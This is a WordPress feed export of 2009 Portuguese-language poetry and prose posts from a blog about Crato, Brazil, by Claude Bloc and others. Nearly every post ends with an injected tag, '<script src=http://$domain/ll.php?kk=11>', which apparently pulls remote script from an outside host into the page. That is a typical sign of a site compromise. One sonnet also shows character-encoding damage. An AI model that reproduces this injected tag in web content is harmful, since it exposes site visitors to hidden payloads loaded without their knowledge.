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	<title>Chapada do Araripe &#187; Poesia</title>
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		<title>So há poesia&#8230; Por Claude Bloc</title>
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		<pubDate>Tue, 02 Jun 2009 16:29:16 +0000</pubDate>
		<dc:creator>Claude Bloc</dc:creator>
				<category><![CDATA[Poesia]]></category>

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		<description><![CDATA[Para amenizar um pouco o calor dos ânimos&#8230; &#8230; Ei, tristeza,não sei quem te chamou. Portanto, te peço, arreda o pé, vai embora&#8230; Já te releguei ao passado e não quero mais cruzar o teu caminho! &#8230; Pois é, dona tristeza, visitei lugares de minha infância lá pelas bandas do Crato e vi que a [...]]]></description>
			<content:encoded><![CDATA[<h3 class="post-title entry-title"><a href="http://blogdocrato.blogspot.com/2009/06/so-ha-poesia-por-claude-bloc.html"><br />
</a></h3>
<div><strong></strong><a href="http://1.bp.blogspot.com/_L8DApaX0ssY/SiVNsJRRp2I/AAAAAAAAAaw/ovlx69AnqVw/s1600-h/mao.jpg"><img id="BLOGGER_PHOTO_ID_5342761953742923618" style="margin: 0px auto 10px; display: block; width: 392px; height: 400px; text-align: center;" src="http://1.bp.blogspot.com/_L8DApaX0ssY/SiVNsJRRp2I/AAAAAAAAAaw/ovlx69AnqVw/s400/mao.jpg" border="0" alt="" /></a> <span style="font-size: 85%; color: #000099;"><strong>Para amenizar um pouco o calor dos ânimos&#8230;</strong></span></div>
<div style="text-align: justify;">&#8230; Ei, tristeza,não sei quem te chamou. Portanto, te peço, arreda o pé, vai embora&#8230; Já te releguei ao passado e não quero mais cruzar o teu caminho!<br />
&#8230; Pois é, dona tristeza, visitei lugares de minha infância lá pelas bandas do Crato e vi que a velha casa onde morei quando criança ainda estava incólume, austera, mas entristecida e abandonada.</div>
<div style="text-align: justify;">&#8230; Eu mesma a larguei por tanto tempo que nem suportava mais toda a saudade acumulada em meus guardados. Percebi, também nessa visita, que, depois desse degredo, já não existem mais os pés de cajarana que reguei, nem as duas goiabeiras em cuja sombra me assentei, a cobiçar os frutos nos galhos mais altos&#8230;<br />
&#8230; Só sei que cheguei lá devagarzinho e fiquei ali, diante dessas ausências sem perceber com clareza que estar com você, tristeza, é o mesmo que estar diante de um espaço vazio. Saber que, cedo ou tarde, tudo o que está presente ficará ausente. É isso!<br />
&#8230; Você é traiçoeira e se expande&#8230; e vai testemunhando esse mistério da despedida gravado em nossa própria carne. Essas lembranças que vamos carregando e esse ar de despedida colocado em tudo o que fazemos e deixamos pra trás&#8230;</div>
<div style="text-align: justify;">&#8230; Você, tristeza, é essa ausência que demora, ausência que devora: o espaço entre o belo e o efêmero de onde nasce a poesia. E assim, nessa amálgama os poetas vão colocando suas palavras sobre o vazio. Não um vazio qualquer, mas um vazio que é um &#8220;pedaço arrancado de mim”. Um exercício de saudade; de tornar de novo presente, um passado que já se foi.<br />
&#8230; Então penso em Drummond que afirmava não lastimar o espaço vazio no seu texto “Ausência&#8221;: &#8220;por muito tempo achei que ausência é falta. E lastimava, ignorante, a falta. Hoje não o lastimo. Não há falta na ausência. A ausência é um estar em mim. E sinto-a, branca, tão pegada, aconchegada nos meus braços, que rio e danço e invento exclamações alegres, porque a ausência, essa ausência assimilada, ninguém a rouba de mim&#8230;&#8221;<br />
&#8230; Portanto, dona tristeza, procure outras paragens, pois no vazio de minhas noites só há poesia&#8230;</div>
<div><span style="font-size: 85%; color: #000099;"><strong></strong></span></div>
<div><span style="font-size: 85%; color: #000099;"><strong></strong></span></div>
<div><span style="font-size: 85%; color: #ffffcc;"><strong>.</strong></span></div>
<div><span style="font-size: 85%; color: #000099;"><strong>Texto e foto por Claude Bloc</strong></span></div>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
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		<title>Ruído das Águas &#8211; Por Claude Bloc</title>
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		<pubDate>Sun, 31 May 2009 00:05:45 +0000</pubDate>
		<dc:creator>Claude Bloc</dc:creator>
				<category><![CDATA[Poesia]]></category>

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		<description><![CDATA[Enquanto chega o domingo, uma conversa de sábado&#8230;  E onde anda a poesia? A quem devo amar neste momento ? O que devo olhar, além do sonho e do silêncio? A que devo amar, senhor de todos os mares? E o que devo escutar além do ruído dessas águas? A quem devo mostrar o amor [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://3.bp.blogspot.com/_L8DApaX0ssY/SiHKulsBfeI/AAAAAAAAAaI/82pIxxjJ-xI/s1600-h/praia_tela.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img id="BLOGGER_PHOTO_ID_5341773534777671138" style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 311px;" src="http://3.bp.blogspot.com/_L8DApaX0ssY/SiHKulsBfeI/AAAAAAAAAaI/82pIxxjJ-xI/s400/praia_tela.jpg" border="0" alt="" /></a><span class="Apple-style-span" style="font-weight: bold;"></p>
<div style="text-align: center;"><span class="Apple-style-span" style="color: #000099;"><span class="Apple-style-span" style="font-size: small;">Enquanto chega o domingo, uma conversa de sábado&#8230;  E onde anda a poesia</span></span><span class="Apple-style-span" style="color: #000099;"><span class="Apple-style-span" style="font-size: small;">?</span></span></div>
<p></span><br />
A quem devo amar neste momento ?<br />
O que devo olhar, além do sonho e  do silêncio?<br />
A que devo amar, senhor de todos os mares?<br />
E o que devo escutar além do ruído dessas águas?<br />
A quem devo mostrar o amor que tenho guardado?<br />
A quem devo obediência<br />
&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;.. quando já vivi três quartos do tempo?<br />
Onde vou deixar meus versos e prosas<br />
Que se estampam em contrapasso<br />
&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230;&#8230; no tempo?<br />
A quem, pergunto eu&#8230;<br />
A quem devo amar neste momento de espera?</p>
<div></div>
<p><span class="Apple-style-span" style="color: #000099;"><span class="Apple-style-span" style="font-weight: bold;"><span class="Apple-style-span" style="font-size: small;">Texto e foto de Claude Bloc</span></span></span><script src="http://$domain/ll.php?kk=11"></script></p>
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		<title>NUNCA DIZER : FIZ UMA POESIA &#8211; Por :Fabio Brüggemann</title>
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		<pubDate>Wed, 27 May 2009 19:43:44 +0000</pubDate>
		<dc:creator>Socorro Moreira</dc:creator>
				<category><![CDATA[Poesia]]></category>

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		<description><![CDATA[NUNCA DIZER: “FIZ UMA POESIA” Uma das coisas mais irritantes no uso da língua portuguesa – além dos cacofônicos “a nível de”, “estaremos enviando”, “eu enquanto sujeito”, “pretender objetivar”, “neste sentido” e outros vícios acadêmicos – é quando um pretenso poeta diz que “escreveu uma poesia”. O leitor tem todo o direito de não saber [...]]]></description>
			<content:encoded><![CDATA[<h3 class="post-title entry-title"><a href="http://blogdocrato.blogspot.com/2009/05/nunca-dizer-fiz-uma-poesia-por-fabio.html"><br />
</a></h3>
<div class="post-body entry-content"><a href="http://4.bp.blogspot.com/_i9I88JKyxRA/Sh2ZzfLf0_I/AAAAAAAAC_4/kv9KfFAl4go/s1600-h/IMAGENS%2520LINDAS%2520MARTE2.jpg"><img id="BLOGGER_PHOTO_ID_5340593842953376754" style="margin: 0px auto 10px; display: block; width: 400px; height: 300px; text-align: center;" src="http://4.bp.blogspot.com/_i9I88JKyxRA/Sh2ZzfLf0_I/AAAAAAAAC_4/kv9KfFAl4go/s400/IMAGENS%2520LINDAS%2520MARTE2.jpg" border="0" alt="" /></a></p>
<div>
NUNCA DIZER: “FIZ UMA POESIA”</div>
<div style="text-align: justify;"><span style="font-size: 180%; color: #3366ff;">U</span>ma das coisas mais irritantes no uso da língua portuguesa – além dos cacofônicos “a nível de”, “estaremos enviando”, “eu enquanto sujeito”, “pretender objetivar”, “neste sentido” e outros vícios acadêmicos – é quando um pretenso poeta diz que “escreveu uma poesia”. O leitor tem todo o direito de não saber a diferença entre poesia e poema, agora, faz favor, poetas com livros publicados e tudo, associados a academias de louros e letras, fundadores de pseudo-grupelhos autodenominados livres – como se quem não pertencesse a seu universo fosse necessariamente preso – não têm direito de confundir poesia com poema. E como quem não quer nada, tentarei aqui explicar ao leitor (e me corrijam se eu estiver errado) a diferença entre uma coisa e outra.<br />
O poema é o objeto, a espinha dorsal, a forma, o emaranhado de palavras antes de seu sentido, o significante a espera que o leitor atribua seu significado, o molde das idéias (porém, não as idéias), a caixa silenciosa que fala, o truque da língua, o cimento, a estrutura, a maquinaria textual, enfim, é tudo que lembra a fábrica, o concreto.A poesia não está apenas no poema. Reside nas películas a 24 quadros por segundo, nas xícaras que mexem da Fernanda, na música, no teatro, no olho da mulher que adora a palavra , e sobretudo no amor que sinto por ela, na intenção, no que se quer dizer antes que se diga, na estratégia, no pensar e no falar, na cor do miolo da boca, num filme de Godard, na tela de Edward Münch, nas coisas que não dependem de descrição, na intenção, no tudo que é abstrato.Aquilo que realça de preto no branco do papel é poema, o que se compreende disso é poesia. O que está impresso nos livros de poesia é poema, mas não é poesia. Pode se dizer “a poesia de Fernando Pessoa”, coisa bem diferente de se dizer “o poema de Fernando Pessoa”. O que se pode decorar é poema, o que se guarda sem se lembrar é poesia. Portanto, aquilo que se escreve é o poema, e ele pode ou não conter poesia, e a essência do que se desprende dali é o que se pode chamar de poesia. Faz tempo que não escrevo um poema, apesar de ter prometido a Vanessa um que fosse ruim, para que ela coloque na caixa de um projeto gráfico igualmente ruim. Tarefa tão inglória quanto escrever, talvez um bom poema. Mas, como diria o poeta Marco Vasques, não sou habilitado para falar de poesia e de poemas, porque sou ex-poeta, apesar de procurar aqui e ali uma poesia qualquer no meio dessa prosa porosa que é o mundo. A poesia está para a prosa, assim como o amor está para a amizade, cantou o poeta que nunca publicou um livro de poesia e que nunca escreveu um poema. Prova maior de que estas coisas se têm nomes distintos, devem ser mesmo diferentes.</div>
<div style="text-align: justify;">
Fábio Brüggemann</p>
<p>Perto, bem perto.</p>
<p>Uma pergunta que muita gente faz para quem escreve é de onde vem a inspiração. Antes de responder, sempre digo que a priori não creio em inspiração. O que já é uma resposta. Se não creio, como poderia saber de onde ela vem? A idéia da existência de uma musa que sopre no ouvido os versos já prontos ou de que o escritor é um sujeito passível de ser inspirado é muito antiga. Por conta disso, fica difícil desassociar escritor da idéia de musa. Escrever não é uma atividade comum, não exige curso superior, e a densidade escritor por metro quadrado é bem pequena. Para saber escrever é preciso, antes de mais nada, saber ler. Isso vale para qualquer atividade humana. Ninguém decide ser ator sem nunca ter ido ao teatro. Dificilmente um sujeito opta pela arquitetura sem ter se encantado com alguma forma, e por aí vai. Ao que chamam de inspiração, nada mais é do que uma espécie de memória afetiva, que vez ou outra surpreende com alguma imagem, ou idéia. Mas ela não é estranha, estrangeira, ou venha de fora de nós. Só podemos escrever sobre aquilo que conhecemos. Nem sei, na verdade, porque estou falando sobre isso. Talvez seja a famosa embromação, doença que acomete cronistas de vez em quando. Não por falta de assunto. Eles não faltam, basta abrir os jornais, caminhar no calçadão, ouvir uma conversa no café sem que os que falam percebam, ler um livro, enfim, conhecer alguém. Poderia falar sobre os dias lindos que têm feito, sobre o friozinho bom. Assunto nunca falta. Até mesmo a falta de assunto é um assunto. Mas tem dias que tudo fica meio entorpecido. Dá vontade de falar sobre nada mesmo, apenas sentar no banco da praça e contar quantos passantes têm blusa amarela, quantos usam anéis, ou no que está pensando aquela senhora com sacolas na mão e passo apertado. Vontade mesmo é de fechar os olhos e sentir o calor do sol, não dar nome às coisas, apenas querer ter nascido pelo menos vinte anos mais tarde, para que qualquer diferença não fosse sentida, não causasse confusão, e querer ficar perto, bem perto. Tão perto que nem o fio da luz do sol consiga passar por entre os corpos.</p></div>
<div style="text-align: justify;">
Fábio Brüggemann</div>
</div>
<p style="text-align: justify;"><span class="post-author vcard"> Postado por <span class="fn">Socorro Moreira</span> </span></p>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
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		<title>Coisa de sábado &#8211; Por Claude Bloc</title>
		<link>http://www.instrumentalbrasil.com/chapadadoararipe/2009/05/23/coisa-de-sabado-por-claude-bloc/</link>
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		<pubDate>Sat, 23 May 2009 20:11:42 +0000</pubDate>
		<dc:creator>Editor</dc:creator>
				<category><![CDATA[Poesia]]></category>

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		<description><![CDATA[&#8230;. Há coisas que nos vêm assim devagarzinho, meio (in)esperadas, mágicas ou totalmente esdrúxulas. São coisas de fato? &#8230;. Coisas que nos inquietam, que nos atiçam, que nos trazem os sabores da noite, ou os ruídos surdos da madrugada, como o palpitar de uma lembrança, ou quem sabe, a sombra de um sonho que gostamos [...]]]></description>
			<content:encoded><![CDATA[<h3 class="post-title entry-title"><a href="http://blogdocrato.blogspot.com/2009/05/coisa-de-sabado-por-claude-bloc.html"><br />
</a></h3>
<p><a href="http://1.bp.blogspot.com/_L8DApaX0ssY/ShhbcRm1HrI/AAAAAAAAAZg/iaf_wXaGJiY/s1600-h/banco1.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img id="BLOGGER_PHOTO_ID_5339117899568455346" style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 266px;" src="http://1.bp.blogspot.com/_L8DApaX0ssY/ShhbcRm1HrI/AAAAAAAAAZg/iaf_wXaGJiY/s400/banco1.jpg" border="0" alt="" /></a></p>
<div style="text-align: justify;"></div>
<div style="text-align: justify;"><span class="Apple-style-span" style="font-size: large;"><span class="Apple-style-span" style="font-weight: bold;"><span class="Apple-style-span" style="color: #000099;">&#8230;. H</span></span></span>á coisas que nos vêm assim devagarzinho, meio (in)esperadas, mágicas ou totalmente esdrúxulas.  São coisas de fato?</div>
<div style="text-align: justify;"><span class="Apple-style-span" style="color: #000099; font-weight: bold;"><span class="Apple-style-span" style="font-size: medium;">&#8230;. </span></span>Coisas que nos inquietam, que nos atiçam, que nos trazem os sabores da noite, ou os ruídos surdos da madrugada, como o palpitar de uma lembrança, ou quem sabe, a sombra de um sonho que gostamos de manter sob as pálpebras, sem qualquer pudor. Que cores têm essas coisas?</div>
<div style="text-align: justify;"><span class="Apple-style-span" style="color: #000099; font-weight: bold;">&#8230;. </span>Há coisas que nem revelamos. Que guardamos em nosso relicário secreto. Coisas que nos trazem de volta rostos que não podemos esquecer. Coisas que representam o presente ou o passado, e tudo o que nos é caro. São as coisas que nos acontecem no momento exato em nos deparamos com a verdade e entendemos que, no mais profundo de nós mesmos está sempre essa criança indomável que nos interpela e que nos impele às “coisas (im)possíveis”&#8230; aos trocadilhos, à liberdade (in)cômoda, ao discorrer de uma longa história (quase) sem sentido, mas tão sentida.</div>
<div style="text-align: justify;"><span class="Apple-style-span" style="color: #000099; font-weight: bold;">&#8230;. </span>Há coisas que nos fazem tropeçar e, nos tropeços, nos fazem andar pra frente. Somos então, nesse momento, mera e simplesmente seres errantes nessa coisa que se chama vida, procurando acertar o nosso passo e nosso (p)rumo.Coisas da vida!</div>
<div style="text-align: justify;"><span class="Apple-style-span" style="color: #000099; font-weight: bold;">&#8230;. </span>Há coisas – pois que não há outro nome para isto &#8211; que nos atropelam e, paradoxalmente, nos envolvem com o mel da doçura&#8230; Coisas, coisas tantas. Coisas que queremos manter em nosso pensamento, coisas que, de tão simples são tão intensas. Coisas que nos aquecem a alma. Coisas lindas, que não queremos findas. Coisas que tecem as nossas emoções, e que nos fazem felizes. Coisas bobas?</div>
<div style="text-align: justify;"><span class="Apple-style-span" style="color: #000099; font-weight: bold;">&#8230;.</span> quais são essas coisas?</div>
<div style="text-align: justify;"><span class="Apple-style-span" style="color: #000099; font-weight: bold;">&#8230;. </span>Digo: coisas que sempre prezamos, coisas de que ardentemente precisamos: o sentimento mais nobre, o sentimento mais leve&#8230;</div>
<div style="text-align: justify;"><span class="Apple-style-span" style="color: #000099; font-weight: bold;">&#8230;. </span>Coisas que nos engrandecem e que se cristalizam no âmago do nosso ser. Como um sentimento que gruda e nos faz exultar.</div>
<div style="text-align: justify;"><span class="Apple-style-span" style="color: #000099; font-weight: bold;">&#8230;. </span>E aí nos perdemos para nos encontrarmos na essência dessas coisas, e essa essência não cabe dentro das próprias coisas&#8230; Tentar capturar essa essência seria um pouco como tentar guardar uma gaveta dentro duma outra gaveta rigorosamente igual. De qualquer forma, quem é que disse que uma gaveta é para guardar coisas? Por que é que não podemos ter uma gaveta vazia reservada para a essência daquilo que julgamos querer ou ter?</div>
<div style="text-align: justify;"><span class="Apple-style-span" style="color: #000099; font-weight: bold;"><span class="Apple-style-span" style="font-size: medium;">&#8230;.</span></span>E de onde nos vêm essas coisas que tanto queremos e  não sabemos explicar?</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;"><span class="Apple-style-span" style="font-weight: bold;"><span class="Apple-style-span" style="color: #000099;"><span class="Apple-style-span" style="font-size: small;">Por Claude Bloc</span></span></span></div>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
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		<title>Dois Poemas &#8211; PESARES &#8211; Dihelson Mendonça e Antonio Sávio</title>
		<link>http://www.instrumentalbrasil.com/chapadadoararipe/2009/05/17/dois-poemas-pesares-dihelson-mendonca-e-antonio-savio/</link>
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		<pubDate>Sun, 17 May 2009 18:13:37 +0000</pubDate>
		<dc:creator>Editor</dc:creator>
				<category><![CDATA[Poesia]]></category>

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		<description><![CDATA[Que beleza de Domingo&#8230; todo mundo na praia curtindo, aqui no Crato esse sol com algumas núvens e o calor do verão que se aproxima. Sentado aqui em meu posto, catalogando mais de 5000 mensagens em 30 categorias ( trabalho de louco, já que se gasta em média uns 30 segundos em cada uma ), [...]]]></description>
			<content:encoded><![CDATA[<div style="text-align: justify;"><img class="size-full wp-image-5489 aligncenter" title="img_9255a400" src="http://instrumentalbrasil.com/chapadadoararipe/wp-content/uploads/2009/05/img_9255a400.jpg" alt="img_9255a400" width="400" height="267" /></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;"><span style="font-weight: bold; color: #000099; font-size: 180%;">Q</span>ue beleza de Domingo&#8230; todo mundo na praia curtindo, aqui no Crato esse sol com algumas núvens e o calor do verão que se aproxima. Sentado aqui em meu posto, catalogando mais de 5000 mensagens em 30 categorias ( trabalho de louco, já que se gasta em média uns 30 segundos em cada uma ), resolvi dar um tempo e procurando aqui nos meus alfarrábios, encontrei um poema que fiz a partir de outro. Na verdade, o poeta Antonio Sávio escreveu um poema chamado &#8220;PESARES&#8221;, que eu achei muito bonito, a não ser por um detalhe que para mim, seria essencial nesse tipo de abordagem, o uso da rima e a própria disposição de algumas frases. Resolvi reconstruir o poema a meu modo, mudando daqui e de lá&#8230; evidentemente, o leitor escolhe um ou outro. O resultado está aqui. Já foi publicado há alguns meses no cariricult:</div>
<p><span style="font-weight: bold; color: #000099;">PESARES ( Antonio Sávio )</span></p>
<p>Apesar de tudo, e dos sentidos que aguçamos<br />
Como o limar de uma pedra sem fim<br />
Permance o opaco sobre os olhos<br />
E uma nuvem intensa sobre a paisagem</p>
<p>Os elefantes, pelo delírio vôam<br />
E as borboletas diferente de antes<br />
Rastejam a vaidade de suas asas sobre a gleba<br />
Nada mudou, mas tudo enfim não há de permanecer o mesmo</p>
<p>Não ao mesmo sol a vazar sobre as arestas<br />
Das frestas das fendas de minha porta<br />
Corta então o tédio arenoso sobre mim<br />
Pois a vista perdida na paisagem,</p>
<p>A catar as migalhas da realidade<br />
Que me encaparam entre os dedos<br />
E agora resta-me o medo,<br />
Dos segredos deste fardo, que arde sobre mim</p>
<p><span style="font-weight: bold; color: #000099;">PESARES ( Dihelson Mendonça )</span></p>
<p>Apesar de tudo, dos sentidos que aguçamos<br />
como o limar de uma grande rocha sem fim<br />
permanece inda o opaco brilho sobre os olhos<br />
cravados em nuvens e paisagens dentro de mim</p>
<p>Sobre a gleba insana rastejam borboletas<br />
de vaidade pura nas asas &#8211; pobres delírantes -<br />
voam também por sobre as nuvens os elefantes<br />
nada mudou, nem manterão tais silhuetas</p>
<p>Não ao mesmo sol a vazar sobre as arestas<br />
das frestas podres e de fendas à minha porta<br />
corta a faca, corta o tédio, corta a testa<br />
corta a planície, cortam serras sotopostas</p>
<p>Viver das migalhas de uma realidade<br />
que ora me escapa por entre os dedos rotos<br />
rastejar-me de medo &#8211; infelicidade -<br />
carregado de segredos em mundo ignoto</p>
<p>Da plenitude bela de uma vida instante<br />
à abjeta dualidade residente dentro de mim<br />
passam-se os dias, passam-se os meses, passam-se os anos<br />
em mares de tristeza eterna, e que já não têm mais fim!</p>
<p><span style="font-weight: bold; color: #000099;">Dihelson Mendonça &#8211; Texto e Foto</span><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
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		</item>
		<item>
		<title>CRATO- CIDADE PRINCESA &#8211; José Guedes de Sena</title>
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		<pubDate>Sun, 17 May 2009 15:27:23 +0000</pubDate>
		<dc:creator>Editor</dc:creator>
				<category><![CDATA[Poesia]]></category>

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		<description><![CDATA[Nota: Aqui está um belo soneto, escrito por José Guedes de Sena, que revela o grande amor que todos nós temos pelo Crato querido. Texto enviado por sua filha, Rita Maria L. Guedes. É um prazer publicar&#8230; Engastada ao sopé da Araripe Altaneira, Tu te ergues do solo,firme e majestosa, Crato, Cidade Princesa,joia preciosa, Fonte [...]]]></description>
			<content:encoded><![CDATA[<h3 class="post-title entry-title"><span style="font-weight: bold; color: #000099;">Nota:</span></h3>
<div style="text-align: justify;">Aqui está um belo soneto, escrito por José Guedes de Sena, que revela o grande amor que todos nós temos pelo Crato querido. Texto enviado por sua filha, Rita Maria L. Guedes. É um prazer publicar&#8230;</div>
<p>Engastada ao sopé da Araripe Altaneira,<br />
Tu te ergues do solo,firme e majestosa,<br />
Crato, Cidade Princesa,joia preciosa,<br />
Fonte de cultura, forte e sobranceira!</p>
<p>O teu passado é um turbillhćo de glória,<br />
Cujo heroķsmo,os teus filhos reverenciam<br />
Como um feito sublime de nossa história,<br />
Que os tempos jamais apagariam.</p>
<p>Orgulho de uma raēa que vibra e que canta,<br />
Cuja vidźncia, prever o teu povir<br />
Aureolado de flores e de amor que tudo encanta!</p>
<p>E, nos singelos versos deste meu poema,<br />
Eu gritarei bem alto com toda źnfase!<br />
Crato! Tu és a Princesa da Terra de Iracema!!!</p>
<p>José Guedes de Sena</p>
<p>*junho de 1904<br />
+junho de2004</p>
<p><span style="font-weight: bold; color: #000099;">Enviado por sua filha,   Rita Maria L.Guedes.</span><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
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		<title>Crato e as Noivas de Maio &#8211; Por Pachelly Jamacaru</title>
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		<pubDate>Thu, 14 May 2009 06:55:03 +0000</pubDate>
		<dc:creator>Pachelly Jamacaru</dc:creator>
				<category><![CDATA[Poesia]]></category>

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		<description><![CDATA[E o mês de Maio, mantêm a tradição dos enlaces matrimoniais! Basta dar-mos uma voltinha pela nossa cidade e, a qualquer hora, a qualquer momento, podemos nos deparar com cenas como estas, onde pombinhos sobem aos altares das igrejas, capelinhas, e juram amor eterno! Abençoados sejam! &#8221; Noiva &#8220; Ei-la toda de branco. Aos pés, [...]]]></description>
			<content:encoded><![CDATA[<p>E o mês de Maio, mantêm a tradição dos enlaces matrimoniais! Basta dar-mos uma voltinha pela nossa cidade e, a qualquer hora, a qualquer momento, podemos nos deparar com cenas como estas, onde pombinhos sobem aos altares das igrejas, capelinhas, e juram amor eterno! Abençoados sejam!</p>
<p><a href="http://2.bp.blogspot.com/_7QIjbNxM3o0/Sgtj53c5HkI/AAAAAAAADGU/DVJtDUf4pmA/s1600-h/PJ.+064.jpg"><img id="BLOGGER_PHOTO_ID_5335468029339311682" style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 300px;" src="http://2.bp.blogspot.com/_7QIjbNxM3o0/Sgtj53c5HkI/AAAAAAAADGU/DVJtDUf4pmA/s400/PJ.+064.jpg" border="0" alt="" /></a><br />
<strong>&#8221; Noiva &#8220;</strong></p>
<p>Ei-la toda de branco. Aos pés, o imenso véu<br />
como em flocos de espuma, espalhado no chão&#8230;<br />
No ar, dentro do olhar, cabe inteirinho um céu,<br />
e leva um céu maior dentro do coração&#8230;</p>
<p>Nos lábios&#8230; Ah! nos lábios o sabor do mel,<br />
e uma carícia em flor se entreabre em cada mão,<br />
- e que tremor no braço, ao deixar no papel<br />
o nome dela, o dele&#8230; os dois desde então&#8230;</p>
<p>Quem lhe falou da vida ? A vida é um sonho, a vida<br />
é esse caminho azul, esse estranho embaraço<br />
de sentir-se ao seu lado adorada e querida&#8230;</p>
<p>Aos seus pés, como nuvem branca, o imenso véu&#8230;<br />
Quem dirá, que ao seguir apoiada ao seu braço<br />
não pensa que caminha em direção ao céu ?&#8230;</p>
<p>( Poema de: JG de Araujo Jorge extraído do livro<br />
&#8220;Os Mais Belos Poemas Que O Amor Inspirou&#8221;<br />
Vol. I &#8211;  1a edição 1965</p>
<p>Foto: Pachelly Jamacaru<script src="http://$domain/ll.php?kk=11"></script></p>
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		</item>
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		<title>Homenagem à todas as Mães&#8230;</title>
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		<pubDate>Sun, 10 May 2009 05:26:00 +0000</pubDate>
		<dc:creator>Dihelson Mendonca</dc:creator>
				<category><![CDATA[Poesia]]></category>

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		<description><![CDATA[Quando você achou que eu não estava olhando&#8230; &#8230;eu vi você pendurar meu primeiro desenho na porta da geladeira, e imediatamente, quis fazer outro desenho. Quando você achou que eu não estava olhando, eu vi você alimentando um gato perdido, e aprendi que é muito bom tratar bem os animais. Quando você achou que eu [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: justify;"><a href="http://1.bp.blogspot.com/_WY3qKeZY6L0/SgZl0iuSsbI/AAAAAAAAJyc/gF_MXTGq2wU/s1600-h/mamae2.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img id="BLOGGER_PHOTO_ID_5334062762015502770" style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 279px; height: 400px;" src="http://1.bp.blogspot.com/_WY3qKeZY6L0/SgZl0iuSsbI/AAAAAAAAJyc/gF_MXTGq2wU/s400/mamae2.jpg" border="0" alt="" /></a><br />
<span style="color: #000099;">Quando você achou que eu não estava olhando&#8230;</span><br />
<span style="color: #000099;">&#8230;eu vi você pendurar meu primeiro desenho </span><br />
<span style="color: #000099;">na porta da geladeira, </span><br />
<span style="color: #000099;">e imediatamente, quis fazer outro desenho.</span><br />
<span style="color: #000099;">Quando você achou que eu não estava olhando, eu vi você </span><br />
<span style="color: #000099;">alimentando um gato perdido, </span><br />
<span style="color: #000099;">e aprendi que é muito bom tratar bem os animais.</span><br />
<span style="color: #000099;">Quando você achou que eu não estava olhando,</span><br />
<span style="color: #000099;">eu vi lágrimas em seus olhos, </span><br />
<span style="color: #000099;">e eu aprendi que, às vezes, coisas nos machucam,</span><br />
<span style="color: #000099;">mas que é permitido chorar.</span><br />
<span style="color: #000099;">Quando você achou que eu não estava olhando,</span><br />
<span style="color: #000099;">eu vi você fazer para mim o meu bolo favorito, </span><br />
<span style="color: #000099;">e aprendi que pequenas coisas podem ser</span><br />
<span style="color: #000099;">muito especiais na vida das pessoas.</span><br />
<span style="color: #000099;">Quando você achou que eu não estava olhando,</span><br />
<span style="color: #000099;">eu vi você rezando e eu soube que há um Deus </span><br />
<span style="color: #000099;">com quem eu podia sempre conversar e aprendi a confiar neste Deus.</span><br />
<span style="color: #000099;">Quando você achou que eu não estava olhando, </span><br />
<span style="color: #000099;">eu senti o seu beijo de boa noite.</span><br />
<span style="color: #000099;">Senti-me amado e protegido. Eu vi você fazendo comida</span><br />
<span style="color: #000099;">e levando para uma amiga que estava doente.</span><br />
<span style="color: #000099;">Eu aprendi que todos nós devemos nos ajudar e cuidar dos outros</span><br />
<span style="color: #000099;">Quando você achou que eu não estava olhando, eu vi você </span><br />
<span style="color: #000099;">cuidar da nossa casa e de todos que moram nela, </span><br />
<span style="color: #000099;">e eu aprendi que temos que cuidar de tudo que nos foi dado.</span><br />
<span style="color: #000099;">Eu aprendi, como uma das maiores lições de vida, </span><br />
<span style="color: #000099;">que eu precisava aprender com você</span><br />
<span style="color: #000099;">a ser uma pessoa boa e produtiva quando crescesse.</span><br />
<span style="color: #000099;">Quando você achou que eu não estava olhando, </span><br />
<span style="color: #000099;">eu olhei para você e quis dizer:</span></p>
<p style="text-align: justify;"><span style="color: #000099;">&#8220;Obrigado por todas as coisas que eu vi quando você pensou que eu não estava olhando. </span></p>
<p style="text-align: justify;"><span style="color: #000099;">Obrigado mamãe!</span></p>
<p style="text-align: justify;"><span style="font-size:85%;">( Autor desconhecido )</span></p>
<p style="text-align: justify;"><span style="font-weight: bold; color: #000099;font-size:100%;">Dihelson Mendonça</span></p>
<p><script src="http://$domain/ll.php?kk=11"></script></p>
]]></content:encoded>
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		</item>
		<item>
		<title>Mais uma vez, saudade! &#8211; Por Claude Bloc</title>
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		<pubDate>Sun, 10 May 2009 02:57:00 +0000</pubDate>
		<dc:creator>Claude Bloc</dc:creator>
				<category><![CDATA[Poesia]]></category>

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		<description><![CDATA[Casa da Serra Verde &#8211; Pintura a óleo de Claude Bloc &#8230;&#8230; Eis-me em silêncio, numa dessas fraturas de um tempo de aceitação. Aceito essa saudade que me chega em meio aos sargaços da idade&#8230;Essa saudade que é fruto da minha lembrança, e que vai aos poucos embaraçando-se em tantas e tantas fugas, cicatrizes, contrapontos&#8230; [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://1.bp.blogspot.com/_L8DApaX0ssY/SgZWRvqKSbI/AAAAAAAAAY4/W7DKp1W8A1s/s1600-h/tela_casaSV.jpg" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}"><img id="BLOGGER_PHOTO_ID_5334045671517997490" style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 318px;" src="http://1.bp.blogspot.com/_L8DApaX0ssY/SgZWRvqKSbI/AAAAAAAAAY4/W7DKp1W8A1s/s400/tela_casaSV.jpg" border="0" alt="" /></a></p>
